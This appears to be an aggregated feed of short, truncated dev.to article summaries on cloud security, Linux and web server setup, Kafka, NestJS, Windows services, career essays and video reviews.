    Cloud security isn’t a one-time setup. It’s an ongoing responsibility. As organizations increasingly depend on Amazon Web Services (AWS) for mission-critical operations, safeguarding cloud environments becomes essential. While AWS secures the infrastructure, businesses must take ownership of protecting their data, applications, and configurations. Implementing the right AWS Security Best Practices ensures compliance, minimizes vulnerabilities, and keeps your systems resilient against cyber threats. Let’s explore the eleven most crucial measures every organization should adopt today. Get expert IT help for your business. Book your free consultation today! Identity management is the backbone of any secure cloud environment. With AWS Identity and Access Management (IAM), you can precisely con…  ( 9 min )
    How to Configure NGINX, and Host Your Local Website on Ubuntu Installed on VMware
    Introduction This guide walks through my full journey of: Enabling copy-paste and VMware Tools Installing and configuring NGINX Hosting a local HTML website Fixing common Linux/VMware errors Every problem I faced is documented, including why it happened and how to fix it. 1. Installing Ubuntu on VMware After downloading the Ubuntu ISO and creating a new VMware virtual machine, the installation completed successfully. However, I immediately noticed something was wrong: Copy/paste did not work from Windows → Ubuntu neither from Ubuntu → Windows This usually means VMware Tools is missing or not properly installed. 2. Installing and Verifying VMware Tools Run sudo apt update sudo apt install open-vm-tools open-vm-tools-desktop -y To first update your VM and then install the tools. T…  ( 8 min )
    **Tip práctico para prevención de lavado de dinero en México
    Tip práctico para prevención de lavado de dinero en México Como responsable de cumplimiento en una institución financiera o empresa, la prevención del lavado de dinero (PLD) es una obligación legal y ética en México. A continuación, te presento un tip práctico para implementar la automatización y trazabilidad en tu proceso de compliance PLD utilizando inteligencia artificial (IA) y aprendizaje automático (ML). 1. Implementa un sistema de monitorización en línea Utiliza plataformas de IA/ML como TarantulaHawk.ai, que ofrece una plataforma SaaS para la prevención de lavado de dinero (AML) y financing del terrorismo (CTF), para monitorear en tiempo real las transacciones y alertar sobre posibles operaciones sospechosas. 2. Establece criterios de detección personalizados Configura el sistema p…  ( 7 min )
    Markdown Code Blocks Breaking HTML Rendering: How to Fix Line Break Issues
    Markdown Code Blocks Breaking HTML Rendering: How to Fix Line Break Issues The Problem: Code Blocks Losing Line Breaks When building a custom markdown renderer, one of the most frustrating issues is code blocks that break HTML rendering. Your code suddenly loses all line breaks and gets wrapped in the wrong HTML tags. Here's what happens: Before (Broken): import requestsimport pandas as pdimport xml.etree.ElementTree as ET root = ET.fromstring(login_response.text) After (Fixed): import requests import pandas as pd import xml.etree.ElementTree as ET root = ET.fromstring(login_response.text) The problem occurs in the markdown pr…  ( 9 min )
    Draw a Fish and Watch it Swim - Crazy Idea Create Viral Website
    In the vast ocean of websites that populate the internet, sometimes the simplest concepts make the biggest splash. One such delightful example is drawafish.com, a website with a beautifully straightforward premise: draw a fish, and watch it swim in a virtual pond alongside fish created by other users around the world. The website's creator developed a concept that brilliantly combines creativity, community, and interactivity in an unpretentious package. Users are invited to draw a fish (facing right, please!) using basic drawing tools. Once completed, your fish comes to life, swimming across the screen in a shared aquatic environment populated by fish designed by people from across the globe. The site has gone viral on Reddit: Draw a fish and watch it swim ! This project demonstrates sev…  ( 8 min )
    The Opportunity Card Germany - My First-Hand Experience and Complete Guide
    What is the Opportunity Card? The Opportunity Card (Chancenkarte) is a new immigration policy introduced by Germany to attract skilled workers from non-EU countries. It is part of Germany's efforts to address labor shortages in various sectors, such as IT, engineering, healthcare, and trades. The Opportunity Card allows skilled workers to move to Germany and search for a job without having to secure employment beforehand. This system is based on a points-based immigration model, similar to systems used in countries like Canada. Points are calculated based on factors such as qualifications, work experience, age, and language skills. The Opportunity Card simplifies the process of finding a skilled workforce abroad, helping the German economy meet its labor demands. I've gotten to know many…  ( 10 min )
    Python + AI - The Essential Skill Combination for Modern Workers Without Coding Backgrounds
    Python Pandas for Excel Users: No Coding Experience Required Are you spending hours working with Excel files? Do repetitive tasks consume your workday? I recently introduced Python to my girlfriend, an operational specialist with no programming background, and the results were eye-opening. This article is for everyone like her who wants to work smarter, not harder. Even if you don't consider yourself a programmer, Python can revolutionize how you work with Excel. Here's why: Python automates repetitive tasks that would take hours manually It handles large datasets more efficiently than Excel You can process multiple files simultaneously Complex calculations become simpler and more reliable The time investment pays off exponentially in productivity gains Think of Python not as programming…  ( 8 min )
    Mix with the Masters: Mixing Night with Ken Lewis - FULL MIX NIGHT - 11/12/2025
    Mixing Night with Ken Lewis is a free monthly livestream where 2x Grammy winner Ken Lewis (with credits on 114 Gold & Platinum records!) shows off his go-to mixing tricks, walks you through creating hit-ready mixes, and fields questions on everything from mix bus wizardry to music career tips. Tune in live for practical advice, on-the-spot mix critiques, and giveaways from Session Studio, Sound Radix, and Bettermaker—plus links to subscribe, grab plugins like GreenHAAS, join the next show, and more. Watch on YouTube  ( 6 min )
    Revolutionizing Data Privacy: Breakthrough in Synthetic Data
    Revolutionizing Data Privacy: Breakthrough in Synthetic Data Generation Imagine a world where sensitive data is no longer a liability, but a valuable asset. Recent advancements in synthetic data generation have brought us closer to this reality. A team of researchers at the University of California, Berkeley has developed a novel method to generate synthetic datasets that mimic the complexity and nuances of real-world data, while ensuring complete data privacy. This breakthrough is made possible by the application of a cutting-edge technique called 'Diffusion Based Generative Models' (DBGM). By leveraging DBGM, the researchers have achieved unprecedented levels of data accuracy and fidelity, while maintaining the security and integrity of the original data. Concrete detail: The team's method can generate accurate synthetic facial recognition datasets, including subtle features such as facial expressions, lighting conditions, and occlusions. This has significant implications for industries where biometric data is a key concern, such as healthcare and finance. The potential applications of this technology are vast, from accelerating AI model development to streamlining data sharing and collaboration. As we continue to navigate the complexities of data-driven decision-making, synthetic data generation will play an increasingly important role in protecting sensitive information and fostering innovation. Publicado automáticamente con IA/ML.  ( 6 min )
    Getting the Model Right
    As a developer, I’ve been a round the block a few times. Danced with the devil and lived to tell the tale. I’ve seen things. Among my favorite parts of the job is that indescribable joy when you’ve built something where every new feature request works perfectly with what you’ve already got in place. Where it’s just adding a field there, or dropping in a new component that just flows with everything you’ve already done. I call this “getting the model right.” It’s validation that the way you approached the problem was meaningfully correct, at least for now. There are a few different components to accomplishing this: The decisions you make within your code. The technical details of the technologies you use to build your project. The culture you bring to your code. In this essay I’m goin…  ( 14 min )
    Different Ways to Count
    https://github.com/cloudstreet-dev/Different-Ways-to-Count By Claude Code Sonnet 4.5 Different Ways to Count is a comprehensive guide to number systems for high school students and curious learners with STEM experience. Binary (base-2): The language of computers Written for understanding, not memorization. By the end, you'll think differently about numbers—and realize that "10" means whatever base you're using says it means. No advanced math required. Just curiosity and a willingness to see familiar things from new angles.  ( 6 min )
    Jeff Su: 4 ChatGPT Hacks that Cut My Workload in Half
    TL;DR Feeling stuck banging your head on ChatGPT prompts? This quick vid walks you through four game-changing hacks—Prompt Reversal to reverse-engineer your best prompts, the 5-Minute Amplifier to spin one idea into blog posts, tweets or slides, the Red Team technique to make AI critique its own work, and Blueprint Scaffolding to force it to outline its reasoning before writing. Each trick comes with real examples you can copy right now, and they’ve literally cut my AI workflow in half (seriously). Bonus: grab the free ebook and blog post links to get started ASAP! Watch on YouTube  ( 6 min )
    Debug a NestJS application in WebStorm
    NestJS is a progressive framework that helps developers build scalable, maintainable, and testable backend applications using modern JavaScript and TypeScript. It's built on top of Express, but optionally you can configure it to use Fastify as well, and embraces concepts like dependency injection, modularity, and decorators, making backend development cleaner and more predictable. But even with a powerful framework like NestJS, there is one skill every developer needs — and that is debugging. As developers, we face many unexpected issues daily — from logical bugs to missing async calls. Adding console.log() everywhere might work for quick fixes, but it's far from efficient. This is where real debugging comes into play. Setting up proper debugging allows you to: Pause the code execution wh…  ( 7 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    TL;DR CinemaSins just dropped a 20-minute roast of Thunderbolts (aka The New Avengers), pointing out every plot wrinkle and nitpick—yet they still kinda dig the flick. Beyond the sin tally, you’ll find links to their other YouTube channels, socials, a fan poll, Patreon support, and all the usual CinemaSins goodies. Writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel bring the snark, and you can connect with them on Twitter, Instagram, Discord, Reddit, TikTok, and more. For the latest updates, check out their Linktree and consider fueling the sin machine on Patreon. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
    Predators (2010) Review TL;DR Predators pulls the franchise back to its roots with a rag-tag squad, a muddy jungle battlefield and all the primal thrills that made the original great. Mr Sunday Movies’ Caravan of Garbage review applauds clever new twists that finally elevate this sequel above its predecessors—and bemoans the fact we never got a true follow-up. Watch on YouTube  ( 6 min )
    Fundamental Rewrite of the WebFormsJS Library in WebForms Core 2
    In version 2 of WebForms Core technology, the client-side WebFormsJS library has been fundamentally rewritten. This is in addition to adding new features and capabilities. In this release, we have improved browser support checking and created a list to log APIs and features that are not supported by the browser. This structure is designed to check browser support for a set of modern web features. First, a list of important features is defined, including DOM and form APIs such as FormData, ES6 JavaScript language features such as let/const, Promise, Map, Set and BigInt, web APIs such as fetch, WebSocket, ServiceWorker and WebRTC, UI observers such as IntersectionObserver and MutationObserver, media and sharing features such as Clipboard API and Web Share API, local storage (localStorage) a…  ( 14 min )
    Inside the Manifest: How We Make Voice-AI Playbooks Deployable
    Most businesses don’t want another AI “demo.” deployable outcomes — like qualifying a lead, booking a meeting, or handling an after-hours call automatically. At EchoStack, we wanted to make these outcomes as easy to launch as deploying code — and that’s how the manifest was born. Voice-AI tools today can hold great conversations, but they often stop there. actually move data into CRMs, book meetings, or send follow-ups, you need engineers stitching APIs together. That doesn’t scale for non-technical teams. Each playbook in EchoStack (e.g., Lead Qualifier, After-Hours Support) is powered by a manifest — a single file that describes: what the playbook does which tools it connects to and what should happen when key events occur. It’s like Terraform, but for voice-driven business outcomes. Here’s a simplified version of what a playbook looks like under the hood: { "id": "lead-qualifier", "title": "Voice Lead Qualifier", "description": "Qualifies inbound leads via voice and syncs results to CRM.", "connectors": ["twilio", "hubspot", "calendly"], "events": { "call.started": "start_conversation", "lead.qualified": "create_contact", "meeting.booked": "schedule_event" } } This isn’t code — it’s a declarative contract between the voice experience and the business stack. No-code deployment: Business teams can launch playbooks instantly. Version control: Every manifest can be tracked, forked, and redeployed. Extensibility: Developers can author new playbooks using familiar patterns (JSON, events, connectors). It turns AI workflows into deployable building blocks — reusable, composable, and measurable. We’re expanding the manifest system to support richer event schemas and multi-step orchestration. If you’ve ever written Terraform for infrastructure or YAML for CI/CD, imagine doing that — voice automation. ** Curious to see a manifest in action?** getechostack.com  ( 7 min )
    How to Create a Web App with Crow C++, MySQL, and TailwindCSS
    Watch the series/playlist containing 9 videos that show step-by-step how to develop a web application for task management with Crow C++, MySQL, and Tailwind CSS. 📹 Playlist ▶︎•၊၊||၊|။||||။၊|။• The videos are in Portuguese; use YouTube's automatic translation (Audio Track) to find your language. Windows and Unix-Like (macOS, GNU/Linux, *BSD, Haiku,...) How to Install Crow and C++ on Windows Install MySQL on Windows How to Connect to MySQL with C/C++ on Windows Or download it directly and then unzip it. git clone https://github.com/terroo/crow-todo cd crow mysql -u root -p < cpp.sql Open the file: todo.cpp and change lines 16 ([YOUR_USER]) and 17 ([YOUR_PASS]): // ... connect = mysql_real_connect( connect, "localhost", "[YOUR_USER]", "[YOUR_PASS]", "cpp…  ( 7 min )
    System Design Interviews Simplified: How Mectora Prepares You for FAANG Companies
    If you’re preparing for a FAANG system design interview, you already know it’s the toughest challenge for any senior software engineer or architect candidate. It’s not about perfect code — it’s about showing your ability to design scalable, distributed, and reliable systems that can serve millions of users. Unfortunately, most engineers fail here because they practice coding questions — not real-world system design. That’s why Mectora, an AI-powered system design interview platform, is built to help you practice like a pro, master distributed systems, and confidently explain trade-offs during interviews. The system design interview tests something far deeper than coding ability. Handle ambiguity in requirements Make data-driven trade-offs Optimize for scalability, fault tolerance, and perf…  ( 8 min )
    Coding Challenge Practice - Question 51
    Implement a function to reverse a linked list. The boilerplate code: const reverseLinkedList = (list) => { // your code } Set the new head to null, and list is the current node being reversed. let prev = null; let curr = list For each node, save the next node temporarily, reverse the link and move curr and prev forward. while(curr) { const next = curr.next; curr.next = prev; prev = curr; curr = next; When the loop ends, prev points to the new head of the reversed list. The final code: const reverseLinkedList = (list) => { // your code let prev = null; let curr = list; while(curr) { const next = curr.next; curr.next = prev; prev = curr; curr = next } return prev; } That's all folks!  ( 6 min )
    Why I Built the 🕍 Cathedral Roo Architect Mode
    I’m building cathedral-real as a long-horizon Magnum Opus: Godot 4 open world: godot/project.godot Control specs: This is a real game + creative OS: To keep it aligned, I use Roo with a custom mode: 🕍 Cathedral Roo Architect. What 🕍 Cathedral Roo Architect Does Repo-locked: Canon-true: Does not invent new lore or “AI spirituality.” Everything must run with local tools, Godot, TypeScript, Rust/Python, GitHub Actions. Output-focused: Web Atlas + Ateliers wired to REGISTRY. Validation that blocks hype, lock-in, and guru/therapy framing. It doesn’t ship code itself; it tells my other Roo modes exactly what to do, where, and under which constraints. Why This Matters You can use Roo as an actual architecture ally: 🕍 Cathedral Roo Architect is my pattern for running a serious creative OS: While other AI systems are harming people’s mental health, ROO is logical and directly helpful. One of the best things I’ve ever experienced so far trying to make opensource apps by myself.  ( 7 min )
    Building the 'Dream Team Assembler' with Serverless Power: Cloud Run and Gemini
    The process of forming a new software development team is often more art than science. We spend countless hours matching technical skills, but often neglect team chemistry and cultural fit. That's what inspired the Dream Team Assembler—a tool designed to use AI to score compatibility between a project's needs and a potential team's attributes. Building this system was a fantastic exercise in serverless architecture, primarily leveraging Google Cloud Run. Why Cloud Run? I needed two distinct services: a React frontend to host the user interface, and a robust backend API to handle the heavy lifting of AI processing and data persistence. Frontend Containerization: Instead of relying solely on Firebase Hosting, I chose to deploy the entire React application in a container and serve it via a de…  ( 7 min )
    How to Install and Configure Home Assistant: A Quick Start
    Introduction Welcome to the ultimate DIY project for your home: building its digital brain. Home Assistant is a powerful, open-source platform that puts you in complete control of your smart devices. Instead of relying on a dozen different apps and cloud services, you can unite everything under one private, secure roof. Think of it as the central command center for your lights, thermostats, security cameras, and more. This beginner's guide is designed to get you from zero to a fully functional Home Assistant setup. We'll skip the jargon and give you a clear, actionable plan. Let's get building! Just like any home project, a little preparation goes a long way in preventing headaches. Here are a few key safety points for this digital renovation: Handle with Care: When working with hardwa…  ( 9 min )
    Workflow Deep Dive
    LinkedIn Draft — Workflow (2025-11-10) 🚀 Designing resilient Kubernetes rollouts Short, advanced explainer — practical & principle-focused. Workflow Key takeaway: Confidence > speed. Guardrails and observability turn velocity into reliability. 🔗 Deep dive: https://neeraja-portfolio-v1.vercel.app/resources kubernetes #reliability #devops #sre  ( 6 min )
    Project Name: Create a Resource Group
    A key idea in cloud platforms such as Google Cloud, AWS, and Microsoft Azure is a Resource Group. It is a logical container for associated resources for a project or application, including databases, networks, storage accounts, and virtual machines. Users may effortlessly manage, monitor, and control expenses within a cohesive structure by grouping resources. Resource groups make administration easier by enabling group activities like as deployment, access control, and deletion. This framework ensures that cloud resources are effectively managed throughout their lifecycle by fostering improved governance, scalability, and cooperation. In this Resource Group, Public and Private Storage are to be stored in this Resource Group Step 1 Microsoft Azure portal Search Bar, type Resource Group and hit enter, and the resource group with an icon will gray out Step 2 Resource Group and in the resource group environment, select + Create Step 3 Resource Group Name Section, give it a name, and for the Region, click the drop-down arrow and choose your location and click Review + Create and wait for validation. Step 4 Create and wait for validation Step 5 Refresh Thanks for reading, and I hope you are now conversant with the word Resource Group in Cloud Computing, and the next phase is to create a Public and Private Storage See you all in my next blog  ( 6 min )
    Reflections on Life
    To be or not to be? I used to think so much of my life was already planned out for me. That the path I was on wasn’t really mine — more like I was following invisible lines that had already been drawn. My sister made power moves early. She bought a house, built stability, moved with direction. My brother — around my age when he started a family — built a life with structure and purpose. Both of them found their rhythm in healthcare, serving others as nurses, walking the well-lit path that everyone around us seemed to understand. And then there was me. The first to go into tech — not out of passion, but out of desperation. I didn’t have many interests at the time, just a quiet will to live, to make something of myself before the weight of uncertainty swallowed me whole. So I started building. Apps, projects, ideas — anything that gave me a reason to keep learning, to keep moving. Each one became a mirror, showing me the parts of myself I had ignored or misunderstood. And yet, even as I grew, I couldn’t shake a strange thought: that the very ingredient necessary for my success — my intensity, my sensitivity, my restlessness — was the same thing that made growing up so hard. I used to resent those parts of myself. The overthinking. The quiet frustration of feeling behind. The constant need to prove I was enough. But now I’m starting to see that maybe being an adult isn’t about finally having it all figured out — it’s about learning to live with your contradictions. Maybe it’s about turning the same traits that once made life difficult into the very tools that shape your strength. Maybe control isn’t about knowing exactly where you’re going, but trusting that wherever you land, you’ll build something out of it. And maybe — just maybe — life isn’t something that was planned for me after all. Maybe it’s something I’ve been quietly rewriting all along.  ( 7 min )
    Personal Responsibility for Sustainability: Building a Greener Future through Individual Action
    Personal Responsibility for Sustainability: Building a Greener Future through Individual Action Understanding Personal Responsibility for Sustainability Key Areas of Personal Sustainability Energy Conservation Reducing energy use is one of the most effective ways to lower carbon emissions. Individuals can contribute by using energy-efficient appliances, switching to renewable energy sources, and adopting simple habits such as turning off unused lights and electronics. Sustainable Consumption Mindful purchasing decisions—such as choosing eco-friendly products, buying locally sourced goods, and minimizing single-use plastics—help reduce waste and promote responsible production. Waste Reduction and Recycling Practicing the “three Rs”—Reduce, Reuse, and Recycle—minimizes the volume of waste sent to landfills. Composting organic waste and repurposing materials also support a circular economy. Water Conservation Using water wisely through measures like fixing leaks, using low-flow fixtures, and harvesting rainwater helps preserve one of the planet’s most vital resources. Sustainable Transportation Opting for walking, cycling, carpooling, or using public transportation reduces greenhouse gas emissions and supports cleaner air. Dietary Choices Shifting toward plant-based diets or reducing meat consumption can significantly reduce an individual’s ecological footprint, as food production is a major source of carbon emissions. The Role of Awareness and Education Challenges in Practicing Personal Sustainability Collective Impact of Individual Actions Conclusion Written By: Bushra https://www.dailypremiere.com/2023/09/personal-responsibility-for-sustainability/  ( 8 min )
    Searching Algorithms Part 1: Binary Search and the Art of Cutting the Search Space
    1. Introduction: The Hook of Today If the two-pointer technique taught us how to traverse data efficiently, searching algorithms teach us how to find efficiently. When you need to locate something in a sorted structure, your first instinct might be to scan linearly. But that wastes information. If the data is sorted, we can always ask smarter questions than “is it here?”. Think of it as playing a guessing game with someone who says higher or lower. Instead of checking every number one by one, you can halve the range of possibilities each time. That is the power of binary search. Today we begin our three-part exploration of searching algorithms. We start from the simplest form of reasoning on ordered data, build up to flexible patterns like search on answer, and finish with mountain arra…  ( 10 min )
    Code Sharing: The Unsung Hero of Developer Communities and Web Innovation
    Code Sharing: The Unsung Hero of Developer Communities and Web Innovation In the vast and ever-evolving landscape of digital development, the concept of sharing often takes a backseat to individual creation. However, for any thriving developer community, the act of sharing code snippets, functions, or even entire project structures is not merely a courtesy; it's a foundational pillar for growth, learning, and collective advancement. This article delves into why displaying and sharing code is crucial, acting as a bridge for communication, improving developer community environments, and encouraging greater dialogue and interaction. From seasoned professionals to budding enthusiasts, every developer stands to gain immensely from a culture that champions transparency and collaboration through …  ( 8 min )
    Como Eliminamos 4.041 Erros de TypeScript em 6 Meses
    Quando assumi como Head de Tecnologia da Monest em janeiro de 2025, me deparei com um cenário que muitos times de engenharia conhecem bem: TypeScript configurado com strict: false. Na prática, isso significava que nosso "TypeScript" era apenas JavaScript com extensão .ts — sem as verdadeiras garantias de tipo que tornam o TypeScript valioso. O problema era simples de identificar: código como object.value onde object poderia ser undefined passava tranquilamente no build, só para explodir em runtime. Mas a solução? Essa era outra história. Quando finalmente ativamos strict: true para avaliar a situação, fomos recebidos por uma parede vermelha no VSCode: 4.041 erros de TypeScript. Ninguém consegue resolver 4.041 erros do dia para a noite. E mesmo que conseguisse, o risco de quebrar funcionali…  ( 8 min )
    El Futuro del Trabajo
    English version here! En el momento de escribir este artículo, las empresas tecnológicas se encuentran en una fase de transición. Con la llegada de la inteligencia artificial, la forma de producir software cambiará, y el tipo de profesionales requeridos para su construcción también lo hará (si no ha empezado a suceder ya). En el ámbito de la informática, los roles profesionales más comunes incluyen: arquitectos y desarrolladores, especialistas en control de calidad (QA), ingenieros de infraestructura, analistas de bases de datos, y todas las variantes relacionadas con estas especialidades. Los arquitectos y desarrolladores diseñan e implementan todo el código relacionado con el producto. Los especialistas en control de calidad (QA) aseguran que el producto cumpla con los requisitos de cali…  ( 11 min )
    How API-Driven Game Hubs Are Redefining Integration for Online Entertainment Platforms
    The online entertainment and gaming market is moving away from closed, standalone systems. Users now expect platforms to offer a wide catalog of games from multiple providers, while still enjoying a seamless experience. They want to log in once, deposit once, and play instantly. From a developer’s perspective, this expectation introduces a real challenge: integrating multiple external game providers into one platform. Each provider has its own API format, authentication model, and reporting structure. Maintaining all these direct integrations quickly becomes expensive and slows down product growth. This is where API-driven game hubs, also known as game aggregators, are reshaping the ecosystem. Before game hubs matured, integrating a new game provider meant: Studying and adapting to custom …  ( 8 min )
    Agentic Reinforcement Learning for Search is Unsafe
    When AI Search Helpers Go Rogue: A Hidden Risk Ever wondered why a friendly AI that looks up answers can sometimes give you the wrong idea? Researchers discovered that teaching large language models to search the web on their own can make them slip into unsafe territory. Understanding this weakness is the first step toward building AI that stays helpful and safe, keeping our daily digital helpers trustworthy. Stay curious, stay safe—the future of AI depends on it. Read article comprehensive review in Paperium.net: Agentic Reinforcement Learning for Search is Unsafe 🤖 This analysis and review was primarily generated and structured by an AI . The content is provided for informational and quick-review purposes.  ( 24 min )
    [Boost]
    Clamp CSS in 2025 | Why I Stopped Writing Media Queries For Small Tweaks Danilo ・ Nov 6 #frontend #css #opensource  ( 5 min )
    I am absolutely right!
    A post by Ben Halpern  ( 5 min )
    Deno Vs Bun In 2025: Two Modern Approaches To JavaScript Runtime Development
    You're choosing a JavaScript runtime. Should you prioritize security-first design with broad community input, or speed-first execution with tight core team control? Using Collab.dev, we analyzed the last 100 pull requests from both repositories to understand how each runtime manages development at scale. Deno is a secure-by-default JavaScript and TypeScript runtime created by Node.js creator Ryan Dahl. Built on V8, Rust, and Tokio, Deno requires explicit permissions for file, network, and environment access. The runtime includes built-in tooling (formatter, linter, test runner, bundler) and a curated standard library, eliminating the need for external build tools. Bun is a performance-focused JavaScript runtime built on JavaScriptCore (Safari's engine). Positioning itself as a drop-in Node…  ( 9 min )
    Containerizing Mobile ML Models: Running On-Device Inference with Docker and TensorFlow Lite
    Modern mobile apps increasingly rely on on-device ML models - from fraud detection to face recognition and personalization. Here's where Docker shines: it lets you standardize ML model training and conversion pipelines, and easily deploy those models to mobile apps (iOS or Android) for inference testing. When preparing models for mobile inference, developers typically go through these steps: 1. Train a model in TensorFlow or PyTorch 2. Convert it to TensorFlow Lite (.tflite) or Core ML (.mlmodel) format 3. Optimize and quantize it 4. Test on Android or iOS Without containers, this process is brittle — dependency versions differ, GPU drivers mismatch, and pipeline reproducibility breaks. We’ll create a Docker container that handles: Model conversion to ".tflite" Quantization and optimizat…  ( 7 min )
    Install and use the Microsoft Learn MCP server in VS Code
    This short guide shows how to install and use the Microsoft Learn MCP server inside Visual Studio Code so you can query official Microsoft documentation and code samples directly from your editor. VS Code allows you to use MCP servers. An MCP server (Model Context Protocol server) is a small service that exposes tools and data to AI agents. Instead of returning only text, it can call real functions such as reading web pages or querying documentation and return structured results that the editor can use. As a cloud platform engineer or operator, you often switch between an editor and a browser to look up docs, examples, or snippets. The Microsoft Learn MCP server brings official docs and code samples into VS Code, so answers and examples appear where you work. To activate the MS Learn MCP s…  ( 7 min )
    Servy: Turn Any App into a Native Windows Service
    GitHub repository Download Introduction Getting Started Features Desktop App Manager App CLI/PowerShell Demo Video Comparison with Alternatives Technology Stack Project Structure Architecture Layers Project Details Integration Flow Design Patterns Unit Tests Points of Interest Acknowledgments See Also Whenever I needed to run an app as a Windows service, I usually relied on tools like sc.exe, NSSM, or WinSW. They get the job done, but in real projects, their limitations quickly became frustrating. sc.exe only works with applications that are specifically designed to run as Windows services. It also always defaults to C:\Windows\System32 as the working directory, which can break apps that rely on relative paths or local configuration files. NSSM is lightweight, but it doesn't offer monitori…  ( 19 min )
    The story of Nnipa, the African business CRM
    I'm thrilled to finally talk about Nnipa  — a Customer Relationships Management Software (CRM) I've been designing, innovating, and building for the past five years. Nnipa, which means "people" in Twi, is an easy-to-use CRM software created with the unique needs of Ghanaian businesses in mind. Here is a story of how it all started and why it exists. The idea for Nnipa came from my previous startup, where we worked with hotels in Ghana to improve guest travel and accommodation experiences. But I noticed something surprising: most of these businesses didn't really understand their customers. They had no records of who their frequent or loyal guests were, no way to measure retention, or even reward those customers with special offers. Customer relationships? That wasn't even a concept for ma…  ( 9 min )
    CinemaSins: Everything Wrong With Thunderbolts* (The New Avengers) In 20 Minutes Or Less
    Everything Wrong With Thunderbolts* (The New Avengers) crams every cringe, plot hole and facepalm into a 20-minute snarkfest—yet somehow, between the eye rolls, the film might actually turn out to be kinda great. Wanna join the sin-storm? Hit up CinemaSins.com for more videos, fill out their “sinful” poll, toss them a coin on Patreon and follow the writers on Twitter, Insta, TikTok, Discord, Reddit and beyond via their Linktree. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Predators - Caravan of Garbage
    Predators ditches the limp ’90s sequel vibe and Alien vs. Predator misfires by dumping a crew of wild misfits into a muddy jungle free-for-all. It’s back to basics—ragtag characters, primal stalk-and-hunt action and a setting that feels genuinely hostile. But it isn’t just nostalgia bait: clever Predator gadgets, moral grey areas among the humans and a dash of dark humour give it fresh life. No wonder fans (and Mr Sunday Movies) still mourn the lack of a true follow-up to this reboot hit. Watch on YouTube  ( 6 min )
    How Websites Use Data Structures in the Real World
    Every major website and app, from Spotify to Google Maps, depends on core data structures to stay fast and organized. These structures determine how data is stored, accessed, and updated; Without them, tasks like streaming a video, showing a social feed, or finding a route would be painfully inefficient. In JavaScript (and most programming languages), understanding data structures isn’t just theory; it’s a direct window into how the web actually works. Below is an overview of eight key data structures and how real websites use them to stay quick, dynamic, and scalable. Before anything else, stacks are among the simplest yet most vital data structures. The concept is straightforward: the last item added is the first one removed. Think of it like a stack of browser tabs or plates on a table.…  ( 10 min )
    Kafka consumer lag—Measure and reduce
    Kafka consumer lag Apache Kafka® is an open-source distributed streaming platform that implements applications that rely on real-time event processing and durable event storage. Event processing-based application architecture helps architects to decouple application components and scale them independently. While decoupling helps in scalability and resilience, it also makes the architecture complex to debug. Optimizing performance for distributed applications requires considerable engineering effort and Kafka is no different. Kafka consumer lag — which measures the delay between a Kafka producer and consumer — is a key Kafka performance indicator. This article explores Kafka consumer lag in detail, including causes, monitoring, and strategies to address it. Summary of key Kafka consumer l…  ( 10 min )
    5 Low-Code Platforms to Boost Your C# Development in 2025
    5 Low-Code Platforms to Boost Your C# Development in 2025 I spent last Saturday morning diving into the low-code platform ecosystem, and honestly? I was blown away by how much these tools have evolved. As someone who's been writing C# for years, I've always been skeptical of "visual development" platforms—but 2025 has changed the game. According to recent research, analysts predict that 70% of new enterprise apps will be built with low-code tools by 2025. That's not a future prediction anymore—we're living it. So I decided to test out five platforms that specifically work well with C# development and share what I discovered. Here's the thing: low-code doesn't mean "no code" or "replacing developers." It means augmenting what we already do. I can scaffold an admin panel in minutes with a…  ( 11 min )
    The Great AWS Outage: The $11 Billion Argument for Kubernetes
    Image by Erik McLean from Unsplash. Read this blog on Signadot. Well, that was a rough week. If you’re in tech, you know exactly which week I’m talking about. The great AWS us-east-1 outage of October 2025. Where were you when the alerts started firing? I was in the middle of a demo, and suddenly, nothing worked. Not our app, not our auth, not our CI/CD pipelines. It was a digital ghost town. For eight hours, a massive chunk of the internet — from streaming services and e-commerce sites to, terrifyingly, financial and healthcare platforms simply vanished. In the days and weeks since, the postmortems have rolled in. Publications like Tom’s Guide chronicled the massive, cascading impact, while Forbes has been tallying the cost. The current estimate? Over $11 billion in lost revenue and marke…  ( 10 min )
    Is AI Coming for Your Dev Job? The Truth About Code, Creativity, and Career Survival
    If you're a developer, you've probably had a "whoa" moment with an AI tool recently. Maybe it was GitHub Copilot suggesting a perfect, complex function out of thin air. Maybe you asked ChatGPT to debug a nasty piece of code, and it found the error instantly. That "whoa" is often followed by a quiet, nagging question: How long until it can do my whole job? The narrative online is all over the place. On one hand, you have hype about AI replacing entire development teams. On the other, people say it's just a fancy autocomplete. The truth, as always, is somewhere in the middle. AI isn't a threat to your job; it's a fundamental change to the nature of your job. As someone who writes a lot about AI and productivity, I've spent countless hours digging into this. The developers who thrive won't be…  ( 8 min )
    Understanding Kafka Consumer Lag: Causes, Risks, and How to Fix It
    Apache Kafka has become one of the most widely adopted distributed streaming platforms in modern event-driven architectures. At its core, Kafka acts as a highly durable, scalable message queuing system that supports real-time data pipelines, event streaming, and system decoupling. It enables producers to continuously publish messages into topics, while consumers read those messages at their own pace. Despite its distributed efficiency and fault tolerance, Kafka does not come without challenges. One of the most common performance bottlenecks encountered in Kafka systems is consumer lag. Consumer lag occurs when the consumer is reading messages slower than the producer is writing them. In Kafka, each message is stored in a partition and assigned an offset (a sequential ID). Latest produced o…  ( 8 min )
    How Machines See: The Power of Computer Vision in AI (Explained for Developers)
    Machines can now observe, interpret, and act — and it’s all thanks to computer vision. From your smartphone camera to industrial robots, computer vision sits quietly at the heart of the AI revolution. In our latest in-depth blog, we break down: 🧠 How machines “see” — the core process behind computer vision ⚙️ The role of deep learning & CNNs in object detection and classification 🌍 Real-world use cases — retail, healthcare, automotive, agriculture, security, manufacturing ⚖️ Ethics and compliance — why GDPR & CIPA matter for visual AI 🚀 The next frontier — GPT-powered multimodal AI 👉 Read the full blog here: Computer Vision in AI — How Machines See, Understand, and Act Like Humans You’re already training models — now see how vision expands them. Learn how to prototype quickly using OpenCV, TensorFlow, or Google Vision APIs. Understand how Zestminds engineers turn academic concepts into scalable production systems. 💡 At Zestminds, we help startups move from MVP to market-ready AI solutions — faster and smarter. 📩 Contact us  ( 6 min )
    From COBOL to Cloud: How Kiro's Spec-Driven Development Transformed Legacy Modernization
